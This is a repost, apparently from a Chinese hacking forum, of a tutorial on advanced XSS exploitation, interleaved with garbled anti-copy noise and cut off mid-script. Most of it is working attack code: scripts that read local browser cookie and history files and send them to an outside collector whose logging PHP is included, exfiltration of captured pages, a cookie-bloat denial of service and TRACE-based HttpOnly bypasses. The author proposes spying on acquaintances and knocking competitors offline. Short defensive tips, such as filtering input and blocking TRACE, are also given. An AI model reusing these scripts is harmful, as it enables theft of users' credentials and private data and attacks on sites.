中国网络渗透测试联盟

标题: XSS的高级利用部分总结 -蠕虫 [打印本页]

---

作者: admin    时间: 2012-9-13 17:13
标题: XSS的高级利用部分总结 -蠕虫
XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
- C' n# ~. g+ N8 n' V* b# |# s
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
0 ~! W# Z' y7 P; VBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
- `% b0 F9 c  ~

* j5 I) c, R" o8 H  s" w
9 g3 q- a3 g/ H$ C/ Z-------------------------------------------前言---------------------------------------------------------

; _. H) Q, D5 F9 Q/ l% u
+ D" d" t/ j; Q3 t: s+ }本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

6 L8 W* m" ^# z* K3 V
0 E- Z: n! b; G4 f3 X! X3 U如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


1 ]8 U& i  x; L0 B* r* v& c

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
( \; N& r* v7 E2 n
0 }! ?8 h; Q: q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

" i. c. M: U8 Z1 v( H' g7 ]" Q& d, R; {; s如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

. n1 X5 F# f8 rBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
$ p$ l  c$ G2 O( C) r, h
) \6 E$ x0 t/ OQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
8 e) t1 D& P+ {1 J$ K- _0 \
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
  S. i2 ?  \% O5 M* A
, M8 O4 A  f* C3 p: R$ s1 c, I
( q2 }9 U( T+ [4 H
, q' X# {* j4 X( `' h跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



2 N/ L; `" C- @7 c! ?" ?& E7 w如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
# U1 {# ~- B& n& f9 O
1        通过XSS,我们能实现什么?

% p, [) E  a1 ^: z2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

: U' y8 W& O5 k1 W
& K: n, b9 @- C4 |# X  _
------------------------------------------研究正题----------------------------------------------------------
& t) i6 S1 ~  Q: m8 x


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
. G9 m* h: e  ~  u1 f; K& U2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
4 r' [- j# `5 W' j6 s( h3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
5 G6 a" i9 G( A7 Q
5 k% s! R3 C% j/ ]+ z

' D! U- n! P+ D" J/ j# d

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
- S. Z/ f$ t( ]
* w( P1 Q7 P8 ?* ^/ j( M, z9 L我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
5 \) b- G  F- L' B

- _3 j. x6 B, k) F  _5 G
' ^8 T3 b. ?4 R    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



! `- |( m3 N9 b3 P. A, A    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
5 s, R4 `# I. L5 b( c复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}



    function ajax_obj(){

# n+ B! h- h( i! ^  G    var request = false;

    if(window.XMLHttpRequest) {
  b' [3 C4 l9 z8 v( X+ J1 r- u! I
    request = new XMLHttpRequest();

& Q7 F# r. ]. N! x8 i    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 e* D4 P+ n# X% P) b4 W& n; X
; z7 h' N% \" O  i- s

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 F6 Z3 c" \' W8 j, t
6 [0 v. w: F& Q1 i& ?! t  p4 z    for(var i=0; i<versions.length; i++) {
1 F6 o, H; w# [  ?/ g( J
' E9 ]7 i# |6 x, k) G; Q* y    try {
/ l: V& Z, n. b/ R1 Z. p5 ]
, y7 d& B5 B+ h0 u7 w    request = new ActiveXObject(versions);
9 \" }7 l4 i$ V& f( v6 u& f8 X( t' c
    } catch(e) {}

    }

% V, e8 r$ V3 K4 \    }

: ]8 {: R! v; d    return request;
2 W) Y* |! Y, g: U4 L0 ~
" r& Z0 d. \2 ?5 D; D" I: B# y) m    }

    var _x = ajax_obj();
5 V% @8 I# T" w8 ?0 u+ Q' C
- l1 Q8 @4 b6 }5 m5 c9 v    function _7or3(_m,action,argv){
* a) d' I# Q/ G
; L* g" _$ v1 ?* J2 \" ?    _x.open(_m,action,false);
+ u: i  j/ A: I. L, S  v! r
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
% \& A+ F: \% x' [% `- ~' o
    _x.send(argv);

% N" K0 F+ q! i1 B3 e& R    return _x.responseText;
6 e; J4 S9 a, K; ?: n. N
    }



5 f2 x- U% ?2 |    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

$ A4 h( F* Q6 X0 C0 N    alert(txt);
" b: x& @' @6 V* J
' l* r  ~* I" Z9 {; V2 S

2 \' t8 y2 J( `* M' W    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
, `- `! H* t( O7 c
    function $(x){return document.getElementById(x)}

% q+ l. K1 H0 N4 I: ]* Z' B

7 d1 \, G2 c  Z, y. J    function ajax_obj(){

4 u* I! O" d8 q# S9 X+ v( p1 I8 q  }    var request = false;
" ^# _0 u0 n& f0 u& i! V
" b8 w* m8 u4 _    if(window.XMLHttpRequest) {
, ]7 {: P. C4 J9 o* G# A  u
6 P! Y; }" C, @4 i# j' q    request = new XMLHttpRequest();

( Q' g- p9 P& k& b* P; s4 G    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

$ Q, H1 R! j1 @: z" }

3 H" j" p: e1 j6 X# r3 V    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

2 G1 @( w9 j+ F3 m( d8 Q% F. }    for(var i=0; i<versions.length; i++) {

6 Y4 V4 ~8 q* T% g' ]( q' M    try {
; {5 c' t2 y5 @; l7 i# n
, c7 C: _' g! x2 X# _# T    request = new ActiveXObject(versions);

    } catch(e) {}

    }

2 c4 g& J7 b5 D6 ^- Z+ y4 A    }

    return request;

0 [6 w; `% j3 q* M4 B    }

$ i0 K7 F) ~$ |- n  m2 Y    var _x = ajax_obj();
( K5 }! U; j, t" J1 A, p! ]4 ?# E
    function _7or3(_m,action,argv){

. M# h7 Q! i$ L. G. ]" `    _x.open(_m,action,false);
. O, U6 Q7 M  e- O
, {' b/ B' F1 b    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

; S" B6 ?7 a, Q4 I    _x.send(argv);
3 p+ X3 D$ q* f% f
    return _x.responseText;
2 |$ `6 |9 K# R  x9 P6 q
    }
9 T# R* O1 r5 t& O; }( ~% Q

2 v4 H" P& E4 O! _# D7 P4 O% _) j
9 A5 `% f& V5 l. ~  J    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
7 p1 N8 U: s; K5 _) ^
8 O8 j8 W8 x6 ]- B# i$ u  _* p0 a
' Z$ A) T- K% m& U- n
' G. |+ N" x$ W    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
# G0 y* Y8 I) ^& `! M0 U
; o) N+ v( X5 y

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

: y- P' W' D4 t) h" r% L7 c

) C# I( _% n" j6 s<?   

" z, {( z" ^; E" X/*  
3 s7 m, E; K! ]6 F' w8 t
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

* i' R; {/ }% i6 h) `+ {, z     www.inbreak.net   
# [6 U- T! v! m2 M2 ]
6 a7 G+ L4 l: u  E3 G! [# \     author voidloafer@gmail.com 2009-4-22   
/ K. R, }8 H3 D# ?. H# i
$ `% d# t7 L& ?, m: @1 Q" d8 \     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
' X* q9 x7 o" ?8 `8 E! c& m
*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
: a" L  C, x1 Z; g- `, o4 y- o
header("Content-type: application/kxlzx");   
) d# _, y, d; Q# G5 F) r! a$ @
$ _* Z- S: P- Y" d/*  
9 V. E9 d# j: Q6 d: T
     set header, so just download html file,and open it at local.  
/ R: v# Y6 Y+ t
: b- _$ `) J1 R6 `: D*/  
! O3 i! ^5 y2 H2 c
?>   
5 w& I( Z; C4 x- W2 \6 ?5 ^
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
; }% |  d( m2 `/ C  M8 P
. o3 S! ?6 Z# `: o6 m4 q! Y2 m1 p     <input id="input" name="cookie" value="" type="hidden">   
( x! H, V, N! C, w
. U. c8 m- x& J/ y/ K</form>   
# G. ?' r2 F) W( P
<script>   

+ }' T1 F$ i& w3 Y" D0 |# m, Qfunction doMyAjax(user)   

  F& W2 X5 e; ]1 p0 b{   
& d$ z* l( c( w% w2 m- |/ X. P
; u2 g. q7 i4 i' q& Uvar time = Math.random();   

, r/ ^6 U) t7 d; z9 N/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
* u. o6 c+ p' N9 M9 ~- g: F+ y" `
8 P% {* V# C& a, Q9 I7 ^6 \and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

+ y* j, D) t' H' g0 \$ a' gand so on...  
7 I4 [4 N' t* q8 n; F
) }, d- U- W$ [- [" @! T1 \0 ?& w1 E*/  

, a9 B% o3 f( K' z# G) Jvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
; d& }" S) k5 e7 k" @" T
" M" T- K1 X8 R. V- v   

$ D& u, Q4 O9 m: kstartRequest(strPer);   


: b- V/ x) Z$ |0 Y0 z( E
1 |8 n, F  ~) b& x6 u$ H}   
- C5 H& D% u0 o5 W9 S
+ |& x# q) J1 r# M2 u% v   

function Enshellcode(txt)   

{   
2 N- p! k7 S4 D! ?* ^' O
var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   
% O! m; I7 H. d9 A1 x# S
- K, ?+ y2 b1 V% M: U& i4 \for(;i<l;i++){   

$ o; N" a  V# c# _  E! Fk=url.charCodeAt(i);   

9 f6 S  e: m+ L) i% Q8 q1 dif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
( A, U1 y% k$ u, s1 A5 l
3 C- u) U6 K. D/ A/ |) Lcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

) i4 e2 P* c& n8 Ureturn curl;   
% k# j$ E7 X3 y4 {7 T$ i" H- H/ H1 Q
* W4 b, Y3 M& u5 ^, L+ l5 r}   
/ s4 {$ Y) k: J+ b! w
   

  l5 {, {* ]! I  V+ K( _   

var xmlHttp;   
6 l+ S6 z# p: m: c' Y2 m% w5 P0 P
, I$ G! G  R* |. ^9 z' }function createXMLHttp(){   

     if(window.XMLHttpRequest){   
0 p3 |0 ~2 _2 P( r2 Q
xmlHttp = new XMLHttpRequest();           
5 Q5 l- e( A8 D
     }   
  {- V: U6 q- K: ^
" {1 q4 q* _9 k. i+ z, l, |$ U( D7 p     else if(window.ActiveXObject){   

5 {, G& o( C) G$ P6 H) gxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
7 t; _& U: ~) A+ V
     }   
" l- U8 K- D$ p6 q/ z5 d8 ?
3 g( `: v# m( H( A}   
$ k' G2 i( `( U; @8 }" e9 M
   
6 C1 j9 E  r( F' F$ O) i, K7 [
9 E* f$ U- ?2 V2 pfunction startRequest(doUrl){   
1 P: {$ C; x3 M4 K+ r) t! _# H3 k
   
4 J* u+ p: F2 c. q
* Q. }# R" y" A- u     createXMLHttp();   

+ @( d' m( s# n; C
/ ?% p6 y7 J7 v5 X: U' g
     xmlHttp.onreadystatechange = handleStateChange;   
. f9 a% _( K/ X
8 ]( S0 }# R7 y* s, |' t8 F
( s( z2 `: |6 W, Q& @- _
     xmlHttp.open("GET", doUrl, true);   
/ K& |% k4 q' _# t" ]7 n; ~
( _  |! v- G3 X+ o6 F
& o2 e1 Z9 u- k3 C
3 V3 N! k# p' a+ c) n; u( m/ V0 C' l     xmlHttp.send(null);   

3 b6 h) W' t! {) S% P1 }


1 A( l( c( g' D. e9 T, V
4 ~8 q7 {3 J8 U, r/ U0 v}   

   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
! h. O0 K5 p" T5 n; f2 h. t9 E7 G
     var strResponse = "";   

3 k; R4 B5 b+ r# B& S( b4 i     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

: I( B9 I$ m. A1 L, ~2 G% P        

     }   

}   

   
8 z* G- j/ n  }
   
/ C0 j2 u' X5 u  p
# x& Y0 n8 q5 H; dfunction framekxlzxPost(text)   
2 G" k" a9 g4 F
0 F! z: ]) l$ w% F4 v9 g{   
5 _9 H0 B/ J6 ^: I' s
/ C% \, I2 y2 H+ y, i1 h     document.getElementById("input").value = Enshellcode(text);   
- c9 P$ e9 c4 @, P% n; U
     document.getElementById("form").submit();   
4 l9 U# j, `0 \
2 E% A$ D* x' a7 [4 o}   
. }! K/ M' ~) O2 T
' T3 C4 t8 c; c- |* i4 V  ?' k: b   
9 s, b  g  ]1 w
doMyAjax("administrator");   
8 n, g* V3 }6 [2 d% \
( }% J0 u8 X8 `" e1 z$ d) ~   

+ k0 L+ ]& i# R# ^4 p; m0 [, c0 f</script>
' U) k# u3 u- m复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
# i7 {: u4 H: D% w
* z; o5 c0 f; V% xvar xmlHttp;  

* E4 L2 l3 v: U/ H; Nfunction createXMLHttp(){  

# V* s" W/ g" _" G/ M9 X( R     if(window.XMLHttpRequest){  

% h6 q$ S3 A2 G% E         xmlHttp = new XMLHttpRequest();         
; f) M( w3 y7 h/ X9 y
     }  
( [! \  C" z3 a5 j- @
     else if(window.ActiveXObject){  
4 V, m2 ]: E9 }
5 }# f0 w# H4 N, a/ W9 d         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

8 s* S1 n! M7 S0 ?     }  
7 k  r* V6 S8 L& X2 e$ A
+ S: V# H5 M4 p' L. W}  

) @0 g: T4 W9 A1 L   

$ j6 P& W0 @4 J$ s8 V% U  mfunction startRequest(doUrl){  

           

     createXMLHttp();  

8 ?* M" X0 O8 C+ z6 e* R      
& M! P( ^1 `$ D* C
& D7 `- @1 G, a; ?4 b/ d     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

      
$ O6 d( F, P& T7 H0 c0 P
     xmlHttp.send(null);  
; r6 Q, j+ u& A$ H& h% a
      

      

- p: A4 b# }, {6 b7 B2 d3 u5 v}   
9 @6 H, y6 p1 }* x3 f5 [. y, h4 _
* i3 N3 |4 b# m' y! G   

' i# _3 I0 N7 q! l8 }function handleStateChange(){  

: g  x1 M0 F0 E4 L( e  F     if (xmlHttp.readyState == 4 ){  
3 g1 P9 M. G! c! ]! K) o2 V- ^
+ j; u4 o) M) [& k3 T             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
4 B  Y. n; x1 g# ?& B
0 R4 ^5 }7 {+ a, ?/ x2 U& \1 _1 i               

     }  
- x6 e* c3 @2 e2 W% \# C; h; ~
}  

   
' `' z2 }' q7 _: a+ i) z+ o
function doMyAjax(user,file)  

{  
: d  y% [' o( x
         var time = Math.random();  
# l' L6 y, T" u7 R* J  r# u' w
8 P; g" C8 B' e6 E           
; P- C  t% y# I0 q/ D9 G
5 E4 u" i% j3 H0 S* S$ S         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

0 n( D) h1 M0 F/ |& q5 ]& |           

         startRequest(strPer);  
$ r  ?$ q* u3 P- ]
      
2 p4 ~2 _9 ?* m3 }5 r- Y4 M
}  
; p/ k, B( f+ T
, o4 a$ _$ U& z! w6 Z   
$ S! y6 f* h. h; e
function framekxlzxPost(text)  
$ J% Z4 n1 [: h0 k
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

$ o) j. _# R* `     alert(/ok/);  
* d4 e- O. r0 V; \, c( E
" f$ f  |) q) @* Y}  

) q* e# M2 S/ U( B   

) J* j7 G" q/ S$ HdoMyAjax('administrator','administrator@alibaba[1].txt');  
" `4 z# \+ b' ^+ `* t9 B: B
( c: y) Q# b3 I# g% V1 s   

  U* b1 y( D% r8 T</script>

7 k4 W( G7 \  n% d. a( A" L
+ j/ h/ o$ b, I! h$ ?9 O1 Y1 \5 ^

  E  v- L# ?+ x# A
- y$ |, g3 @2 D* U* L) q) ma.php


, T9 `# e4 x7 J( j! r! w+ L
<?php      

   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
: R6 p& C# i% G6 b/ k
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

/ |! Y! v, @: b0 ?  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

7 ^! \9 }, ]" n: y. |fwrite($fp,$_GET["cookie"]);      
' P( a( c1 |* n$ ]4 {: `
fclose($fp);   

" u' M+ M6 {- u  e  P' M3 P?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
" [% ?+ I  G" P/ _2 O* F8 z8 W0 c2 y
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
6 X& L2 A2 i* c0 n& Y
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
& U: I' v% i/ o. o. o* L. l+ l# G$ n2 W
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
5 Q1 y' Z3 v% Z
& ^. U5 r; V. G//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

var image = new Image();
9 D- Y* D* M: i6 k
image.style.width = 0;

image.style.height = 0;

image.src = s;
5 ?; A/ S/ a' M0 p0 {7 K# H; i6 }# M
7 e. i, ^2 l( G9 L# J3 C! [  ^- f4 `}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
$ \  y  Z% q4 W3 }+ Q这里引用大风的一段简单代码:<script language="javascript">

- w; k7 K  J$ Ovar metastr = "AAAAAAAAAA"; // 10 A

9 i. d& P( R) u0 s! L# ^* l5 W6 Zvar str = "";
: ~, E- g+ T" O* Q4 X
/ P. h% X' }$ T7 \: L% s; zwhile (str.length < 4000){

! R2 v0 g7 t4 ^1 [, `: r& s9 c, z    str += metastr;

6 }3 F3 F1 z' m8 l0 Z  p}
7 R/ v( ~! O% e+ E3 W3 _& t


% I+ t3 w% |' t& U2 {7 `1 p( tdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
1 F1 t/ o6 M& L7 z+ V$ H1 b
8 R8 O4 _& {9 R+ ~3 S5 K详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
  p# d, |; G! |( i7 Oserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

, T. m# @$ y3 L1 ^- e: g# Q假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

! O' R  K: q. t  }, G$ U

! |6 O3 k2 i' E
% y% h$ @, Z5 b6 B3 N
' |+ }8 b9 P' O
( @1 `6 D- L6 C  f(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
) ]3 |' _' r: Y) \# v: ?$ w
alert(document.cookie);
) Y7 t- w4 Y! ^! M
! b  \0 X  ]& r$ R2 |. L* g}

# Q  [0 k$ {/ e4 ]+ O


% U* V4 p5 i6 w; ?+ v  z! ~
2 d8 ^: G5 H! G% Sfunction httpOnlyCookie() {
, z- H, D- y- l
7 m4 _, _* B) Q' ndocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

( e  f, j5 l. f/ \" F" L7 M6 `alert(document.cookie);}
/ j) \' M1 L; E% U, x2 c/ q" h9 h1 y
) z* E/ c5 g! w# V- m7 H0 T
5 U! D8 d0 k! a1 Y
//-->
/ s2 x% J0 z! {& K
$ _% b9 W4 m' x' w/ m5 k/ U</script>
+ F; L1 N9 ]" A$ f5 `7 o
6 Y$ l( e. w7 P* ^

$ b4 o& y! o  d  n: T0 X" J9 Z<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
' B7 t+ z- b2 T/ V4 U# ^; T8 ^复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
4 ~+ G; a% l2 v: @2 k: M" G$ R+ l
2 `+ d: @/ d5 z7 b* {

var request = false;
) n4 H% a' R9 c$ e# `
        if(window.XMLHttpRequest) {

" n' Q# e7 ^6 s4 P            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
6 r* }9 g& j9 N7 V  @+ s
6 E# a. u0 q" n; L                request.overrideMimeType('text/xml');
* O1 Q- x* D$ @
            }
$ }9 s  C$ _4 X1 V$ a" n9 Q* M
' q: Z' A* d+ @1 F        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. D9 m; w& D* D% A8 `0 c+ l, n& y
3 J9 U6 G4 G& C+ T: [! t            for(var i=0; i<versions.length; i++) {
( X2 x+ X" e/ |2 X" O9 s
" G' x% e1 F) x" v6 E                try {

                    request = new ActiveXObject(versions);
7 q, @8 X; }" t3 j
                } catch(e) {}

; E9 P& A- X& X: }+ b; e) l            }
. d0 B8 o, P: r, Y
. c3 X; L/ D# Y/ b5 t1 t, ?# |        }
. R* u& q2 m3 j/ ~4 O/ `& r, T
xmlHttp=request;

) l8 I( |3 S' F) A$ [( f  uxmlHttp.open("TRACE","http://www.vul.com",false);
* ]' D6 P1 g7 V( o
xmlHttp.send(null);

: t) T- |0 P+ ]" n" {xmlDoc=xmlHttp.responseText;
7 b! R0 r. @, O9 a1 K8 ?
alert(xmlDoc);

, s2 L6 {7 ~3 w" u5 ~% e</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

+ C& r! M: ~0 g- h0 d1 |XmlHttp.open("GET","http://www.google.com",false);
. x0 W" u% w* D/ J
4 \# y! ]3 C/ W/ f- {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
' N& H/ U& E1 j5 h, p
XmlHttp.send(null);
7 n% s' K& x' }. n! `
var resource=xmlHttp.responseText

resource.search(/cookies/);

" ?% h: `; x$ p0 o......................
$ {% J1 x: ^8 @+ B4 ]4 |, _
</script>
9 u* U! V/ A0 F9 @% {
  O) P# o* @- C; V, u! V
7 f' y, o' [/ `: i% A) U) E% W+ b
5 v2 I2 w" b8 M# J

; ~$ v; Z1 T7 E$ Q& Z* y" ?如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
9 v/ A, N5 m& Q+ u4 w$ h9 S
" Y2 m5 p, p) c# ~6 O9 y1 T[code]

RewriteEngine On
2 |' Z7 X& }( d9 q/ `1 [( V( x
* c. r: s' V( S% K9 kRewriteCond %{REQUEST_METHOD} ^TRACE
9 z; M1 U' ?" `  C, P" m
RewriteRule .* - [F]
9 c9 Z  K+ h5 }# }. Z, F
8 u3 h# r8 V! h  h6 w  h

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
  t* Q0 v  _: |
...
- t% z) R: n- D2 t4 e, C
7 {+ g" A) z! l2 J, a8 y: f* h" Ihttp_access deny TRACE
- h7 X0 ]3 T% q2 O; R复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

8 B. _4 N: f; ]+ V/ r' uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. K1 F" }3 k- O3 ^- n& \
